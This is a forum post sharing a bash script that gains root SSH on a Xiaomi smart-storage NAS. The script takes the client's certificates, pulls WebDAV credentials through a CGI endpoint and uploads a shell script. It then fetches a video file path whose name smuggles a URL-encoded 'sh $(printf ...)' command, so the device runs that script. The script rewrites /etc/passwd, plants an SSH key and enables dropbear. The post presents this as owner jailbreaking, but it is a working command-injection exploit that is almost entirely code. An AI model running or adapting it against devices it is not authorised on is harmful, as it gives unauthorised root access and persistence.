小米智能存储一键开启 ssh

# Ver: 1.0.8.425.F24C26D24-REL
# 脚本默认是在 Windows 下的 WSL 执行,需要安装并登录智能存储 Windows 版应用后才可顺利执行。
# apt insatll jq
# 【唯一需要你填的】局域网内小米智能存储的 IP(如 NAS_IP="192.168.216.19")
NAS_IP=""
if [ -z "$NAS_IP" ]; then
echo "错误:请设置小米智能存储的内网 IP 后再试。" >&2
exit 1
fi
# 操作复制 windows 下证书到 wsl,如果不是 wsl,则需要自己复制,并替换路径
LOCALAPPDATA=$(wslpath "$(cmd.exe /c echo %LOCALAPPDATA% 2>/dev/null | tr -d '\r')")
CERT_HOME=$LOCALAPPDATA/minasCert
echo CERT_HOME: $CERT_HOME
if [ ! -d "$CERT_HOME" ];then
echo "错误: minasCert 目录不存在,请先登录小米智能存储客户端后再试"
exit 1
fi
CN=$(echo | openssl s_client -connect $NAS_IP:443 -servername x 2>/dev/null | openssl x509 -noout -subject | sed 's/.*CN = \([^,]*\).*/\1/')
echo CERT_CN: $CN
if [ -z "$CN" ];then
echo "ERROR: CN提取失败"
exit 1
fi
CERT_ARGS=(
--cacert $CERT_HOME/ca_chain.pem
--cert $CERT_HOME/$(ls $CERT_HOME|grep _cert)
--key $CERT_HOME/$(ls $CERT_HOME|grep _private_key)
)
curl -s ${CERT_ARGS[@]} --resolve "$CN:443:$NAS_IP" -X POST -H "Content-Type: application/json" -d '{}' "https://$CN/cgi-bin/luci/filemgr/get_pool_info" | jq -r '.data.webDAV | "\(.username):\(.password)"' > /tmp/.wdav_creds
CREDS=$(cat /tmp/.wdav_creds)
UNAME=$(cat /tmp/.wdav_creds | sed 's/\(.*\)\:.*/\1/')
if [ -z "$CREDS" ]; then
echo "ERROR: Failed to retrieve WebDAV credentials" >&2
exit 1
fi
echo Fetch WebDAV account done, UNAME: $UNAME
# 任意执行-启用 ssh
ssh-keygen -q -t ed25519 -N '' -f ~/.ssh/id_ed25519 -C "" <<< y > /dev/null
PUB_KEY=$(sed 's/[[:space:]]*$//' ~/.ssh/id_ed25519.pub)
cat > /tmp/enable-ssh.sh << EOF
#!/bin/sh
[ ! -f /etc/passwd.bak ] && cp /etc/passwd /etc/passwd.bak
mkdir -p /home/rootx/.ssh
ln -s /firmware/models models
sed -i 's|:/root:|:/home/rootx:|' /etc/passwd
echo "$PUB_KEY" > /home/rootx/.ssh/authorized_keys
chmod 600 /home/rootx/.ssh
chmod 600 /home/rootx/.ssh/authorized_keys
echo 'DROPBEAR_EXTRA_ARGS=" -s"' > /etc/default/dropbear
usermod -s /bin/sh root
systemctl enable dropbear.socket
systemctl start dropbear.socket
mitee_tool rpmb set ssh_en true
touch /nas/pool0/$UNAME/data/SUCCESS
chown $UNAME:$UNAME /nas/pool0/$UNAME/data/SUCCESS
rm /nas/pool0/$UNAME/data/enable-ssh.sh
EOF
sed -i 's/\r$//' /tmp/enable-ssh.sh
curl -s -u "$CREDS" ${CERT_ARGS[@]} --resolve "$CN:5000:$NAS_IP" -T /tmp/enable-ssh.sh \
"https://$CN:5000/pool0/data/enable-ssh.sh" -w "PUT: %{http_code}\n" -o /dev/null
P="/pool0/video/__X2%22%3Bsh%20%24%28printf%20%27%5C57nas%5C57pool0%5C57$UNAME%5C57data%5C57enable-ssh.sh%27%29%3B%22__.ts"
curl -s -g -u "$CREDS" ${CERT_ARGS[@]} --resolve "$CN:5000:$NAS_IP" "https://$CN:5000$P" -o /dev/null
sleep 3
# 完成测试,或者打开 app 根目录下有 SUCCESS 即成功!
output=$(ssh -o StrictHostKeyChecking=accept-new root@"$NAS_IP" id 2>/dev/null)
if [ $? -ne 0 ]; then
echo "SSH 执行失败" >&2
exit 1
else
echo $output
echo 成功!请注意备份私钥(~/.ssh/id_ed25519),避免私钥丢失连不上 nas!
fi
# ssh 连上以后,可以改一下 root 密码,默认 root 无密码
# 这个 root 拿到后可能用处有限,太多只读了(
# 为了 ssh key 所以修改了 root home,可能后续更新会有不一致风险,自己注意,不需要 ssh key 的话可以把 home 改回 /root
添加评论
点赞收藏
点踩分享查看原文
评论
?
参与讨论